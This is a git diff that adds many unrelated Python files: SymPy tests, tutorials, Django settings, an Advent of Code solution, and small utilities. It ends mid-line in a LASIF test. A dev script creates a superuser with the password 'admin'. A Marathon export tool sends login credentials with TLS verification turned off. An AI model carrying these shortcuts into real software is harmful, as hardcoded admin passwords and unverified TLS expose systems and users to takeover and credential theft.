' diff --git a/pool/shard008/Python/0076116_test_singularities.py b/pool/shard008/Python/0076116_test_singularities.py new file mode 100644 index 0000000000000000000000000000000000000000..65d30d263b60b3cdc16c28d66abd4c87724ae20f --- /dev/null +++ b/pool/shard008/Python/0076116_test_singularities.py @@ -0,0 +1,68 @@ +from sympy import Symbol, exp, log +from sympy.calculus.singularities import (singularities, is_increasing, + is_strictly_increasing, is_decreasing, + is_strictly_decreasing, is_monotonic) +from sympy.sets import Interval +from sympy import oo, S + +from sympy.utilities.pytest import XFAIL + +from sympy.abc import x, y +a = Symbol('a', negative=True) +b = Symbol('b', positive=True) + +def test_singularities(): + x = Symbol('x', real=True) + + assert singularities(x**2, x) == () + assert singularities(x/(x**2 + 3*x + 2), x) == (-2, -1) + + +@XFAIL +def test_singularities_non_rational(): + x = Symbol('x', real=True) + + assert singularities(exp(1/x), x) == (0) + assert singularities(log((x - 2)**2), x) == (2) + + +def test_is_increasing(): + assert is_increasing(x**3 - 3*x**2 + 4*x, S.Reals) + assert is_increasing(-x**2, Interval(-oo, 0)) + assert is_increasing(-x**2, Interval(0, oo)) is False + assert is_increasing(4*x**3 - 6*x**2 - 72*x + 30, Interval(-2, 3)) is False + assert is_increasing(x**2 + y, Interval(1, oo), x) is True + assert is_increasing(-x**2*a, Interval(1, oo), x) is True + assert is_increasing(1) is True + + +def test_is_strictly_increasing(): + assert is_strictly_increasing(4*x**3 - 6*x**2 - 72*x + 30, Interval.Ropen(-oo, -2)) + assert is_strictly_increasing(4*x**3 - 6*x**2 - 72*x + 30, Interval.Lopen(3, oo)) + assert is_strictly_increasing(4*x**3 - 6*x**2 - 72*x + 30, Interval.open(-2, 3)) is False + assert is_strictly_increasing(-x**2, Interval(0, oo)) is False + assert is_strictly_decreasing(1) is False + + +def test_is_decreasing(): + assert is_decreasing(1/(x**2 - 3*x), Interval.open(1.5, 3)) + assert is_decreasing(1/(x**2 - 3*x), Interval.Lopen(3, oo)) + assert is_decreasing(1/(x**2 - 3*x), Interval.Ropen(-oo, S(3)/2)) is False + assert is_decreasing(-x**2, Interval(-oo, 0)) is False + assert is_decreasing(-x**2*b, Interval(-oo, 0), x) is False + + +def test_is_strictly_decreasing(): + assert is_strictly_decreasing(1/(x**2 - 3*x), Interval.open(1.5, 3)) + assert is_strictly_decreasing(1/(x**2 - 3*x), Interval.Lopen(3, oo)) + assert is_strictly_decreasing(1/(x**2 - 3*x), Interval.Ropen(-oo, S(3)/2)) is False + assert is_strictly_decreasing(-x**2, Interval(-oo, 0)) is False + assert is_strictly_decreasing(1) is False + + +def test_is_monotonic(): + assert is_monotonic(1/(x**2 - 3*x), Interval.open(1.5, 3)) + assert is_monotonic(1/(x**2 - 3*x), Interval.Lopen(3, oo)) + assert is_monotonic(x**3 - 3*x**2 + 4*x, S.Reals) + assert is_monotonic(-x**2, S.Reals) is False + assert is_monotonic(x**2 + y + 1, Interval(1, 2), x) is True diff --git a/pool/shard008/Python/0076120_test_vptree_text.py b/pool/shard008/Python/0076120_test_vptree_text.py new file mode 100644 index 0000000000000000000000000000000000000000..44cc1a4fe0e1d63d4746db4e9a8c8baa9944d0b7 --- /dev/null +++ b/pool/shard008/Python/0076120_test_vptree_text.py @@ -0,0 +1,62 @@ +from vp_tree.simple_vp import * +import time +import pylab as plt +from vp_tree.simple_vp import VpNode, VpSearch +import sys + +def levenshtein(a,b): + "Calculates the Levenshtein distance between a and b." + n, m = len(a), len(b) + if n > m: + # Make sure n <= m, to use O(min(n,m)) space + a,b = b,a + n,m = m,n + + current = range(n+1) + for i in range(1,m+1): + previous, current = current, [i]+[0]*n + for j in range(1,n+1): + add, delete = previous[j]+1, current[j-1]+1 + change = previous[j-1] + if a[j-1] != b[i-1]: + change = change + 1 + current[j] = min(add, delete, change) + + return current[n] + + +def main(file_name): + + f = open(file_name) + f.next() + aset = [w.strip() for w in f] + rad = 4.4 + + distance = levenshtein + + s = time.time() + print("\ninput set %s points" % len(aset)) + print("creating tree...") + root = VpNode(aset, distance=distance) + print("created: %s nodes" % VpNode.ids) + print("done in s: %s" % (time.time() - s)) + print("searching...") + while True: + q = input(">>") + + s = time.time() + se = VpSearch(root, q, rad, 10) + out = se.knn() + print(se.stat) + print("founded %s results" % len(out)) + print("done in s: %s" % (time.time() - s)) + print("\n".join(out)) + print + + +def test_search_text(): + try: + main('../vp_tree/README.md') + except: + print("usage:\nvp_searchtxt.py ") + print("file name must be a column of words") diff --git a/pool/shard008/Python/0076132_test_clues_file.py b/pool/shard008/Python/0076132_test_clues_file.py new file mode 100644 index 0000000000000000000000000000000000000000..0c8e9b8c2c22739ceb8925577c79ef7daef4719e --- /dev/null +++ b/pool/shard008/Python/0076132_test_clues_file.py @@ -0,0 +1,73 @@ +# -*- coding: iso-8859-1 -*- + +"""Unit tests for clue storage functionality. +""" + +# Copyright (C) 2004, 2005, 2006, 2010 Juan M. Bello Rivas +# +# This program is free software; you can redistribute it and/or modify +# it under the terms of the GNU General Public License as published by +# the Free Software Foundation; either version 2 of the License, or +# (at your option) any later version. +# +# This program is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with this program; if not, write to the Free Software +# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA + + +import os +import unittest + +import Halberd.clues.file +from Halberd.clues.Clue import Clue + + +class TestStorage(unittest.TestCase): + + def setUp(self): + self.clue = Clue() + self.clue.setTimestamp(100) + self.clue.headers = eval(r"""[ + ('Date', ' Tue, 24 Feb 2004 17:09:05 GMT'), + ('Server', ' Apache/2.0.48 (Unix) DAV/2 SVN/0.35.1'), + ('Content-Location', ' index.html.en'), + ('Vary', ' negotiate,accept-language,accept-charset'), + ('TCN', ' choice'), + ('Last-Modified', ' Sat, 22 Nov 2003 15:56:12 GMT'), + ('ETag', ' "252ff0-5b0-3b5aff00;253006-961-3b5aff00"'), + ('Accept-Ranges', ' bytes'), + ('Content-Length', ' 1456'), + ('Keep-Alive', ' timeout=15, max=100'), + ('Connection', ' Keep-Alive'), + ('Content-Type', ' text/html; charset=ISO-8859-1'), + ('Content-Language', ' en') + ]""") + self.clue.parse(self.clue.headers) + + self.filename = os.path.join('tests', 'data', 'test.clues') + + def tearDown(self): + pass + + + def testSimpleSaveAndLoad(self): + try: + Halberd.clues.file.save(self.filename, [self.clue]) + clues = Halberd.clues.file.load(self.filename) + finally: + os.unlink(self.filename) + + self.failUnless(len(clues) == 1) + self.failUnless(clues[0] == self.clue) + + +if __name__ == '__main__': + unittest.main() + + +# vim: ts=4 sw=4 et diff --git a/pool/shard008/Python/0076135_ch1_3a_grids.py b/pool/shard008/Python/0076135_ch1_3a_grids.py new file mode 100644 index 0000000000000000000000000000000000000000..d8bf79d2e30fef924aef2d2d8c2d236794fbb177 --- /dev/null +++ b/pool/shard008/Python/0076135_ch1_3a_grids.py @@ -0,0 +1,301 @@ +""" +1.3a: Grids. +============ +""" + +import numpy as np +import pandas as pd +from gempy.core.data import Grid +from mpl_toolkits.mplot3d import Axes3D # noqa: F401 unused import +import matplotlib.pyplot as plt + +pd.set_option('precision', 2) +np.random.seed(55500) + +# %% +# The Grid Class +# -------------- +# +# The grid class will interact with the rest of data classes and grid +# subclasses. Its main purpose is to feed coordinates XYZ to the +# interpolator. +# + +# %% +grid = Grid() + +# %% +# The most important attribute of Grid is ``values`` (and ``values_r`` +# which are the values rescaled) which are the 3D points in space that +# kriging will be evaluated on. This array will be feed by "grid types" on +# a **composition** relation with Grid: +# + + +# %% +# .. image:: /../../_static/grids.jpg +# + +# %% +grid.values, grid.values_r + +# %% +# At the moment of writing this tutorial, there is 5 grid types. The +# number of grid types is scalable and down the road we aim to connect +# other grid packages (like `Discretize `_) as an extra Grid type +# + +# %% +grid.grid_types + +# %% +# Each grid contains its own ``values`` attribute as well as other +# methods to manipulate them depending on the type of grid. +# + +# %% +grid.regular_grid.values + +# %% +# We can see what grids are activated (i.e. they are going to be +# interpolated and therefore will live on ``Grid().values``) by: +# + +# %% +grid.active_grids + +# %% +# By default only the *regular grid* (``grid.regular_grid``\ ) is active. However, since the regular +# grid is still empty ``Grid().values`` is empty too. +# + +# %% +grid.values + +# %% +# The last important attribute of Grid is the length: +# + +# %% +grid.length + +# %% +# Length gives back the interface indices between grids on the +# ``Grid().values`` attribute. This can be used after interpolation to +# know which interpolated values and coordinates correspond to each grid +# type. You can use the method get\_grid\_args to return the indices by +# name: +# + +# %% +grid.get_grid_args('topography') + +# %% +# By now all is a bit confusing because we have no values. Lets start +# adding values to the different grids: +# + + +# %% +# Regular grid +# ~~~~~~~~~~~~ +# +# The ``Grid`` class has a bunch of methods to set each grid type and +# activate them. +# + +# %% +help(grid.create_regular_grid) + +# %% +grid.create_regular_grid(extent=[0, 100, 0, 100, -100, 0], resolution=[20, 20, 20]) + +# %% +# Now the regular grid object composed on ``Grid`` has been filled: +# + +# %% +grid.regular_grid.values + +# %% +# And the regular grid has been set active (it was already active in any +# case): +# + +# %% +grid.active_grids + +# %% +# Therefore the grid values will be equal to the regular grid: +# + +# %% +grid.values + +# %% +# And the indices to extract the different arrays: +# + +# %% +grid.length + +# %% +# Custom grid +# ~~~~~~~~~~~ +# +# Completely free XYZ values. +# + +# %% +grid.create_custom_grid(np.array([[1, 2, 3], + [4, 5, 6], + [7, 8, 9]])) + +# %% +# Again ``set_any_grid`` will create a grid and activate it. So now the +# compose object will contain values: +# + +# %% +grid.custom_grid.values + +# %% +# and since it is active, will be added to the grid.values stack: +# + +# %% +grid.active_grids + +# %% +grid.values.shape + +# %% +# We can still recover those values with ``get_grid`` or by getting the +# slicing args: +# + +# %% +grid.get_grid('custom') + +# %% +l0, l1 = grid.get_grid_args('custom') +l0, l1 + +# %% +grid.values[l0:l1] + +# %% +# Topography +# ~~~~~~~~~~ +# +# Now we can set the topography. :class:`Topography ` +# contains methods to create manual topographies as well as gdal for +# dealing with raster data. By default we will create a random topography: +# + +# %% +grid.create_topography() + +# %% +grid.active_grids + +# %% +# Now the grid values will contain both the regular grid and topography: +# + +# %% +grid.values, grid.length + +# %% +# The topography args are got as follows: +# + +# %% +l0, l1 = grid.get_grid_args('topography') +l0, l1 + +# %% +# And we can slice the values array as any other numpy array: +# + +# %% +grid.values[l0: l1] + +# %% +# We can compare it to the topography.values: +# + +# %% +grid.topography.values + +# %% +# Now that we have more than one grid we can activate and deactivate any +# of them in real time: +# + +# %% +grid.set_inactive('topography') +grid.set_inactive('regular') + +# %% +# Since now all grids are deactivated the values will be empty: +# + +# %% +grid.values + +# %% +grid.set_active('topography') + +# %% +grid.values, grid.values.shape + +# %% +grid.set_active('regular') + +# %% +grid.values + +# %% +# Centered Grid +# ~~~~~~~~~~~~~ +# +# This grid contains an irregular grid where the majority of voxels are +# centered around a value (or values). This type of grid is usually used +# to compute certain types of forward physics where the influence +# decreases with distance (e.g. gravity: Check `tutorial 2.2-Cell-selection `_ +# ) +# + +# %% +grid.create_centered_grid(centers=np.array([[300, 0, 0], [0, 0, 0]]), + resolution=[10, 10, 20], radius=100) + +# %% +# Resolution and radius create a geometric spaced kernel (blue dots) which +# will be use to create a grid around each of the center points (red +# dots): +# + +# %% + +fig = plt.figure() +ax = fig.add_subplot(111, projection='3d') + +ax.scatter(grid.values[:, 0], grid.values[:, 1], grid.values[:, 2], '.', alpha=.2) +ax.scatter(np.array([[300, 0, 0], [0, 0, 0]])[:, 0], + np.array([[300, 0, 0], [0, 0, 0]])[:, 1], + np.array([[300, 0, 0], [0, 0, 0]])[:, 2], c='r', alpha=1, s=30) + +ax.set_xlim(-100, 400) +ax.set_xlabel('X Label') +ax.set_ylabel('Y Label') +ax.set_zlabel('Z Label') +plt.show() + +# %% +# Section Grid +# ~~~~~~~~~~~~ +# +# This grid type has its own tutorial. See ch1-3b +# diff --git a/pool/shard008/Python/0076138_south_africa.py b/pool/shard008/Python/0076138_south_africa.py new file mode 100644 index 0000000000000000000000000000000000000000..331ce60bb3ea97b2782792c93c42e1bade1afb18 --- /dev/null +++ b/pool/shard008/Python/0076138_south_africa.py @@ -0,0 +1,44 @@ +import errno +import os +import re + +from .base import * +from .south_africa_base import * + +HAYSTACK_CONNECTIONS['default']['EXCLUDED_INDEXES'] = [ + 'pombola.search.search_indexes.PlaceIndex', + 'speeches.search_indexes.SpeechIndex', +] + +INSTALLED_APPS = insert_after(INSTALLED_APPS, + 'markitup', + 'pombola.' + COUNTRY_APP) + +INSTALLED_APPS += OPTIONAL_APPS + +# This is needed by the speeches application +MIDDLEWARE_CLASSES += ( 'pombola.middleware.FakeInstanceMiddleware', ) + +ENABLED_FEATURES = make_enabled_features(INSTALLED_APPS, ALL_OPTIONAL_APPS) + +PIPELINE_CSS.update(COUNTRY_CSS) +PIPELINE_JS.update(COUNTRY_JS) + +EXCLUDE_FROM_SEARCH = ('places', 'info_pages'); + +PMG_API_CACHE_PATH = os.path.join(root_dir, 'pmg_api_cache') + +try: + os.makedirs(PMG_API_CACHE_PATH) +except OSError as exception: + if exception.errno != errno.EEXIST: + raise + +CACHES['pmg_api'] = { + 'BACKEND': 'django.core.cache.backends.filebased.FileBasedCache', + 'LOCATION': PMG_API_CACHE_PATH, + 'OPTIONS': { + 'MAX_ENTRIES': 10000, + }, + 'TIMEOUT': 60*60*24, + } diff --git a/pool/shard008/Python/0076143_init.py b/pool/shard008/Python/0076143_init.py new file mode 100644 index 0000000000000000000000000000000000000000..b2d69b90d6ed67e3ac1beb5ec0cc64cc3fefa9f1 --- /dev/null +++ b/pool/shard008/Python/0076143_init.py @@ -0,0 +1,19 @@ +#!/usr/bin/env python + +import os +import sys +import django + +os.environ.setdefault('DJANGO_SETTINGS_MODULE', 'readthedocs.settings.dev') +sys.path.append(os.getcwd()) +django.setup() + +from django.contrib.auth.models import User +admin = User.objects.create_user('admin', '', 'admin') +admin.is_superuser = True +admin.is_staff = True +admin.save() +test = User.objects.create_user('test', '', 'test') +test.is_staff = True +test.save() + diff --git a/pool/shard008/Python/0076146_init__.py b/pool/shard008/Python/0076146_init__.py new file mode 100644 index 0000000000000000000000000000000000000000..d526628fa8ebb246f9452b20b225c0077ab7bf40 --- /dev/null +++ b/pool/shard008/Python/0076146_init__.py @@ -0,0 +1,39 @@ +from __future__ import absolute_import + +from django.contrib.auth.models import User +from django.core.exceptions import ObjectDoesNotExist +from django.db.models.signals import post_save + +from navigation.api import register_multi_item_links +from navigation.classes import Link +from project_setup.api import register_setup + +from .links import (role_list, role_create, role_edit, role_members, + role_permissions, role_delete, permission_grant, permission_revoke) +from .models import Role +from .settings import DEFAULT_ROLES + +Link.bind_links([Role], [role_edit, role_delete, role_permissions, role_members]) +Link.bind_links([Role, 'role_list', 'role_create'], [role_list, role_create], menu_name='secondary_menu') +register_multi_item_links(['role_permissions'], [permission_grant, permission_revoke]) + +permission_views = ['role_list', 'role_create', 'role_edit', 'role_members', 'role_permissions', 'role_delete'] + + +def user_post_save(sender, instance, **kwargs): + if kwargs.get('created', False): + for default_role in DEFAULT_ROLES: + if isinstance(default_role, Role): + #If a model is passed, execute method + default_role.add_member(instance) + else: + #If a role name is passed, lookup the corresponding model + try: + role = Role.objects.get(name=default_role) + role.add_member(instance) + except ObjectDoesNotExist: + pass + +post_save.connect(user_post_save, sender=User) + +register_setup(role_list) diff --git a/pool/shard008/Python/0076150_day5.py b/pool/shard008/Python/0076150_day5.py new file mode 100644 index 0000000000000000000000000000000000000000..e9244a5eddcd54625b827ad482f859c8a0d59031 --- /dev/null +++ b/pool/shard008/Python/0076150_day5.py @@ -0,0 +1,88 @@ +""" +--- Day 5: Doesn't He Have Intern-Elves For This? --- + +Santa needs help figuring out which strings in his text file are naughty or nice. + +A nice string is one with all of the following properties: + +- It contains at least three vowels (aeiou only), like aei, xazegov, or aeiouaeiouaeiou. +- It contains at least one letter that appears twice in a row, like xx, abcdde (dd), or aabbccdd (aa, bb, cc, or dd). +- It does not contain the strings ab, cd, pq, or xy, even if they are part of one of the other requirements. + +For example: + +- ugknbfddgicrmopn is nice because it has at least three vowels (u...i...o...), a double letter (...dd...), and none of +the disallowed substrings. +- aaa is nice because it has at least three vowels and a double letter, even though the letters used by different rules +overlap. +- jchzalrnumimnmhp is naughty because it has no double letter. +- haegwjzuvuyypxyu is naughty because it contains the string xy. +- dvszwmarrgswjxmb is naughty because it contains only one vowel. + +How many strings are nice? +""" + + +def nice_strings(lines): + + vowels = ['a','e','i','o','u'] + badcombos = ["ab", "cd", "pq", "xy"] + nice_strings = 0 + + for word in lines: + if any(i in word for i in badcombos): + continue + elif sum(word.count(i) for i in vowels) < 3: + continue + elif all( word[i] != word[i+1] for i in range(len(word)-1) ): + continue + nice_strings += 1 + + print nice_strings + +""" +--- Part Two --- + +Realizing the error of his ways, Santa has switched to a better model of determining whether a string is naughty or +nice. None of the old rules apply, as they are all clearly ridiculous. + +Now, a nice string is one with all of the following properties: + +- It contains a pair of any two letters that appears at least twice in the string without overlapping, like xyxy (xy) or +aabcdefgaa (aa), but not like aaa (aa, but it overlaps). +- It contains at least one letter which repeats with exactly one letter between them, like xyx, abcdefeghi (efe), or +even aaa. + +For example: + +- qjhvhtzxzqqjkmpb is nice because is has a pair that appears twice (qj) and a letter that repeats with exactly one +letter between them (zxz). +- xxyxx is nice because it has a pair that appears twice and a letter that repeats with one between, even though the +letters used by each rule overlap. +- uurcxstgmygtbstg is naughty because it has a pair (tg) but no repeat with a single letter between them. +- ieodomkazucvgmuy is naughty because it has a repeating letter with one between (odo), but no pair that appears twice. + +How many strings are nice under these new rules? +""" + + +def better_nice_strings(lines): + nice_strings = 0 + for word in lines: + if all((word[i] != word[i+2]) for i in range(len(word)-2) ): + continue + elif all( word.count(str(word[i]+word[i+1])) != 2 for i in range(len(word)-1) ): + continue + nice_strings += 1 + print nice_strings + + +if __name__ == "__main__": + text_file = open("inputday5.txt", "r") + lines = text_file.readlines() + + print "Part 1" + nice_strings(lines) + + print "Part 2" + better_nice_strings(lines) \ No newline at end of file diff --git a/pool/shard008/Python/0076152_ext.py b/pool/shard008/Python/0076152_ext.py new file mode 100644 index 0000000000000000000000000000000000000000..9c8ffe027d1fcf22a0feba7a7b4c55b6779dbac0 --- /dev/null +++ b/pool/shard008/Python/0076152_ext.py @@ -0,0 +1,45 @@ +# -*- coding: utf-8 -*- +# +# This file is part of INSPIRE. +# Copyright (C) 2014-2017 CERN. +# +# INSPIRE is free software: you can redistribute it and/or modify +# it under the terms of the GNU General Public License as published by +# the Free Software Foundation, either version 3 of the License, or +# (at your option) any later version. +# +# INSPIRE is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with INSPIRE. If not, see . +# +# In applying this license, CERN does not waive the privileges and immunities +# granted to it by virtue of its status as an Intergovernmental Organization +# or submit itself to any jurisdiction. + +"""ArXiv extension.""" + +from __future__ import absolute_import, division, print_function + +from . import config +from .views import blueprint + + +class InspireArXiv(object): + def __init__(self, app=None): + self.app = app + if app is not None: + self.init_app(app) + + def init_app(self, app): + self.init_config(app) + app.register_blueprint(blueprint) + app.extensions['inspire-arxiv'] = self + + def init_config(self, app): + for k in dir(config): + if k.startswith('ARXIV_'): + app.config.setdefault(k, getattr(config, k)) diff --git a/pool/shard008/Python/0076164_ex7.py b/pool/shard008/Python/0076164_ex7.py new file mode 100644 index 0000000000000000000000000000000000000000..6e577866d1437478b0fc3b00009007d2ddcd91c8 --- /dev/null +++ b/pool/shard008/Python/0076164_ex7.py @@ -0,0 +1,103 @@ +import turtle + +# Get user's input +board_size = input('Enter bord size: ') + +# Validate user's input +try: + board_size = int(board_size) + if board_size < 8: + raise Exception('Board size cannot be less then 8.') + +except ValueError: + print('Invalid input!') + exit() + +except Exception as error: + print(error) + exit() + + +# Configure turtle's color based on current row and col +def configure_turtle_color(row, col): + if row % 2 == 1: + col += 1 + + if col % 2 == 0: + turtle.color('black') + return + + turtle.color('white') + + +# Draw single square with the size provided +def draw_square(size, fill=True): + if fill: + turtle.begin_fill() + + for _ in range(4): + turtle.forward(size) + turtle.left(90) + + if fill: + turtle.end_fill() + + +# Draw borders around the board, +# so it can be seen properly with +# any background color +def draw_board_borders(): + turtle.penup() + turtle.color('black') + turtle.goto(-1, -1) + turtle.pendown() + + draw_square(board_size + 2, False) + + turtle.penup() + turtle.color('white') + turtle.goto(-2, -2) + turtle.pendown() + + draw_square(board_size + 4, False) + + +# Draw the chess board +def draw_chess_board(): + item_length = board_size / 8 + row = x_coord = y_coord = 0 + + for number in range(1, 65): + configure_turtle_color(row, number) + + turtle.penup() + turtle.goto(x_coord, y_coord) + turtle.pendown() + + draw_square(item_length) + + x_coord += item_length + + if number % 8 == 0: + row += 1 + x_coord = 0 + y_coord += item_length + + draw_board_borders() + + +# Configure the turtle +turtle.speed('fastest') +turtle.bgcolor('brown') + +# Draw +draw_chess_board() + +# Move the turtle to the side, +# so the chessboard is seen +# better when it's with smaller size +turtle.penup() +turtle.goto(-10, -10) + +# Wait for user's click to exit +turtle.exitonclick() \ No newline at end of file diff --git a/pool/shard008/Python/0076166_ssl_connector.py b/pool/shard008/Python/0076166_ssl_connector.py new file mode 100644 index 0000000000000000000000000000000000000000..2355bcbe22e7924a2dd109946b65746b12c7cefd --- /dev/null +++ b/pool/shard008/Python/0076166_ssl_connector.py @@ -0,0 +1,32 @@ +#!/usr/bin/env python +# -*- coding: utf-8 -*- + +import sys +sys.path.insert(0, "../") +import ssl + +import logging + +import snakemq +import snakemq.link + +def on_connect(conn): + sock = slink.get_socket_by_conn(conn) + print conn, sock + print sock.getpeercert() + +snakemq.init_logging() +logger = logging.getLogger("snakemq") +logger.setLevel(logging.DEBUG) + +sslcfg = snakemq.link.SSLConfig("testpeer.key", + "testpeer.crt", + ca_certs="testroot.crt", + cert_reqs=ssl.CERT_REQUIRED) + +slink = snakemq.link.Link() +slink.add_connector(("localhost", 4000), ssl_config=sslcfg) + +slink.on_connect.add(on_connect) + +slink.loop() diff --git a/pool/shard008/Python/0076168_0012_remove_contact_preposition.py b/pool/shard008/Python/0076168_0012_remove_contact_preposition.py new file mode 100644 index 0000000000000000000000000000000000000000..1571b3d0c85b444bd85f61fb3771f8f1d804361a --- /dev/null +++ b/pool/shard008/Python/0076168_0012_remove_contact_preposition.py @@ -0,0 +1,32 @@ +# -*- coding: utf-8 -*- +from __future__ import unicode_literals + +from django.db import migrations + + +def merge_preposition(apps, schema_editor): + Contact = apps.get_model('contacts', 'contact') + + for contact in Contact.objects.all(): + if contact.preposition: + contact.last_name = ' '.join([contact.preposition, contact.last_name]) + contact.save() + + +def do_nothing(apps, schema_editor): + pass + + +class Migration(migrations.Migration): + + dependencies = [ + ('contacts', '0011_auto_20160922_1154'), + ] + + operations = [ + migrations.RunPython(merge_preposition, do_nothing), + migrations.RemoveField( + model_name='contact', + name='preposition', + ), + ] diff --git a/pool/shard008/Python/0076176_marathon2dockercompose.py b/pool/shard008/Python/0076176_marathon2dockercompose.py new file mode 100644 index 0000000000000000000000000000000000000000..184a1f1f9dac3088515ef700556ed5d0a4ddee70 --- /dev/null +++ b/pool/shard008/Python/0076176_marathon2dockercompose.py @@ -0,0 +1,139 @@ +#!/usr/bin/python +# +# @authors : Chandra Nadiminti, Ajay Balasa +# +# @create : 08/08/2016 +# +# @purpose : +# +# @component: +# +# @comments : + +###################################################################### +# Package Imports +###################################################################### +import json +import yaml +import requests +from requests.auth import HTTPBasicAuth +import argparse +import sys +import logging + +###################################################################### +# Procedures +###################################################################### +compose = {'version': '2'} +logging.basicConfig(format='%(levelname)s: %(message)s', level=logging.DEBUG) + + +def parse_app(app): + content = {} + name = app['id'].strip('/') + '.service.consul' + command = [] + if app['cmd']: + command.append(app['cmd']) + if app['args']: + command.extend(app['args']) + ports = [] + if command: + content['command'] = command + if 'portMappings' in app['container']['docker']: + for p in app['container']['docker']['portMappings']: + ports.append("%s:%s" % (p['hostPort'], p['containerPort'])) + if ports: + content['ports'] = ports + content['image'] = app['container']['docker']['image'] + if app['env']: + content['environment'] = app['env'] + for param in app['container']['docker']['parameters']: + # Replace hyphens with underscore + key = param['key'].replace('-', '_') + # name is already taken from app['id'] + if key == 'name': + continue + # TODO + if key == 'publish': + continue + if (key == 'expose' or + key == 'cap_add' or + key == 'cap_drop'): + content[key] = [param['value']] + else: + content[key] = param['value'] + return {'name': name, + 'value': content} + + +def parse_apps(apps): + services = {} + for app in apps: + print app['id'] + # json.dump(app, sys.stdout, indent=2) + if 'container' not in app.keys(): + print 'NO container TAG in ' + app['id'] + continue + if (not app['container'] or + 'type' not in app['container'].keys()): + print 'NO container or container-type TAG in ' + app['id'] + continue + if (app['container']['type']).lower() != 'docker': + print app['id'] + '====' + app['container']['type'] + continue + docker_app = parse_app(app) + services[docker_app['name']] = docker_app['value'] + + compose['services'] = services + out = open('docker-compose.yml', 'w') + yaml.safe_dump(compose, + stream=out, + indent=4, + # explicit_start=True, + default_flow_style=False + ) + + +def main(): + base_url, user, pswd = arguments_parse() + try: + resp = requests.get(base_url, timeout=5, verify=False, + auth=HTTPBasicAuth(user, pswd)) + resp.raise_for_status() + except requests.exceptions.Timeout: + logging.error("Request timed out after specified timeout value.") + sys.exit(1) + except requests.exceptions.InvalidURL: + logging.error("Invalid URL") + sys.exit(1) + except requests.exceptions.ConnectionError: + logging.error("Connection errors") + sys.exit(1) + except requests.exceptions.SSLError: + logging.error("SSL errors") + sys.exit(1) + except requests.exceptions.RequestException as e: + logging.error(e) + sys.exit(1) + + parse_apps(json.loads(resp.content)['apps']) + + +def arguments_parse(): + parser = argparse.ArgumentParser(description='Utility to create a \ + docker-compose file with the containers details from Marathon') + parser.add_argument('--url', help='Marathon base API URL \ + Ex: https://mantl-cisco.com//marathon/v2/apps', + required=True) + parser.add_argument('-u', '--user', help='Marathon login user name', + required=True) + parser.add_argument('-p', '--pswd', help='Marathon login password', + required=True) + args = parser.parse_args() + base_url = args.url + user = args.user + pswd = args.pswd + return base_url, user, pswd + +if __name__ == '__main__': + main() diff --git a/pool/shard008/Python/0076180_test_events_component.py b/pool/shard008/Python/0076180_test_events_component.py new file mode 100644 index 0000000000000000000000000000000000000000..88c133903e7f585cb5f2b930bc639c128bf25966 --- /dev/null +++ b/pool/shard008/Python/0076180_test_events_component.py @@ -0,0 +1,142 @@ +#!/usr/bin/env python +# -*- coding: utf-8 -*- +from __future__ import absolute_import + +import inspect +import io +import mock +import obspy +import os +import pytest +import re + +from lasif import LASIFNotFoundError, LASIFWarning +from lasif.components.events import EventsComponent +from lasif.components.communicator import Communicator + + +@pytest.fixture +def comm(): + """ + Returns a communicator with an initialized events component. + """ + data_dir = os.path.join(os.path.dirname(os.path.dirname(os.path.abspath( + inspect.getfile(inspect.currentframe())))), "data", "ExampleProject", + "EVENTS") + comm = Communicator() + # Add project comm with paths to this fake component. + comm.project = mock.MagicMock() + comm.project.read_only_caches = False + comm.project.paths = {"cache": data_dir, "root": data_dir} + EventsComponent(data_dir, comm, "events") + return comm + + +def test_event_list(comm): + assert sorted(comm.events.list()) == sorted([ + "GCMT_event_TURKEY_Mag_5.1_2010-3-24-14-11", + "GCMT_event_TURKEY_Mag_5.9_2011-5-19-20-15"]) + + +def test_event_count(comm): + assert comm.events.count() == 2 + + +def test_has_event(comm): + assert comm.events.has_event( + "GCMT_event_TURKEY_Mag_5.1_2010-3-24-14-11") + assert comm.events.has_event( + "GCMT_event_TURKEY_Mag_5.9_2011-5-19-20-15") + assert not comm.events.has_event("random") + + +def test_get_event(comm): + ev = comm.events.get("GCMT_event_TURKEY_Mag_5.1_2010-3-24-14-11") + ev["filename"] = os.path.basename(ev["filename"]) + assert ev == { + 'depth_in_km': 4.5, + 'event_name': 'GCMT_event_TURKEY_Mag_5.1_2010-3-24-14-11', + 'filename': 'GCMT_event_TURKEY_Mag_5.1_2010-3-24-14-11.xml', + 'latitude': 38.82, + 'longitude': 40.14, + 'm_pp': 3.56e+16, + 'm_rp': -2.25e+16, + 'm_rr': 5470000000000000.0, + 'm_rt': 2.26e+16, + 'm_tp': 1.92e+16, + 'm_tt': -4.11e+16, + 'magnitude': 5.1, + 'magnitude_type': 'Mwc', + 'origin_time': obspy.UTCDateTime(2010, 3, 24, 14, 11, 31), + 'region': u'TURKEY'} + + ev = comm.events.get("GCMT_event_TURKEY_Mag_5.9_2011-5-19-20-15") + ev["filename"] = os.path.basename(ev["filename"]) + assert ev == { + 'depth_in_km': 7.0, + 'event_name': 'GCMT_event_TURKEY_Mag_5.9_2011-5-19-20-15', + 'filename': 'GCMT_event_TURKEY_Mag_5.9_2011-5-19-20-15.xml', + 'latitude': 39.15, + 'longitude': 29.1, + 'm_pp': -8.5e+16, + 'm_rp': -5.3e+16, + 'm_rr': -8.07e+17, + 'm_rt': 2.8e+16, + 'm_tp': -2.17e+17, + 'm_tt': 8.92e+17, + 'magnitude': 5.9, + 'magnitude_type': 'Mwc', + 'origin_time': obspy.UTCDateTime(2011, 5, 19, 20, 15, 22, 900000), + 'region': u'TURKEY'} + + with pytest.raises(LASIFNotFoundError): + comm.events.get("random") + + +def test_get_all_events(comm): + events = { + "GCMT_event_TURKEY_Mag_5.1_2010-3-24-14-11": + comm.events.get("GCMT_event_TURKEY_Mag_5.1_2010-3-24-14-11"), + "GCMT_event_TURKEY_Mag_5.9_2011-5-19-20-15": + comm.events.get("GCMT_event_TURKEY_Mag_5.9_2011-5-19-20-15")} + assert events == comm.events.get_all_events() + + +def test_faulty_events(tmpdir, recwarn): + tmpdir = 